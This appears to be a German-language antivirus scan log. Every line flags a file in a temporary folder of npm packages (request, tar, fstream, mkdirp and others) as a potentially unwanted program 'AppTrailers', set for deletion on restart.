PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\lib\mime.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\lib\node.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\mime-types\SOURCES.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark\bench.gnu, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark\bench.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark\benchmark-native.c, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark\benchmark.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\benchmark\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\lib\sha1-browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\test\compare_v1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\test\test.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\uuid.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\node-uuid\v3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\oauth-sign\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\oauth-sign\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\oauth-sign\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\oauth-sign\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\lib\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\lib\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\test\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\CONTRIBUTING.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\qs\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream\example.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream\LICENSE.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\stringstream\stringstream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\cookie.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\memstore.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\pathMatch.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\permuteDomain.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\pubsuffix.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\lib\store.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules\punycode\LICENSE-MIT.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules\punycode\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules\punycode\punycode.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules\punycode\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tunnel-agent\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tunnel-agent\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tunnel-agent\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\CONTRIBUTING.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\disabled.appveyor.yml, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\release.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\request.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\examples\extracter.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\examples\packer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\examples\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\buffer-entry.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\entry-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\entry.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\extended-header-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\extended-header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\extract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\global-header-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\pack.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\lib\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\block-stream\block-stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\block-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\block-stream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\examples\filter-pipe.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\examples\pipe.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\examples\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\examples\symlink-write.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\abstract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\collect.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\dir-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\dir-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\file-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\file-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\get-type.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\link-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\link-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\proxy-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\proxy-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\socket-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\lib\writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\graceful-fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\legacy-streams.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\polyfills.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin\cmd.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin\usage.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\examples\pow.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\example\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\dash.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\default_bool.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\dotted.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\long.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\parse_modified.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\short.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\whitespace.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\readme.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\chmod.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\clobber.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\mkdirp.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\opts_fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\opts_fs_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\perm.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\perm_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\race.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\rel.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\return.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\return_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\root.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\umask.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\umask_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\readme.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\old.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\wrappy.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\inflight.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
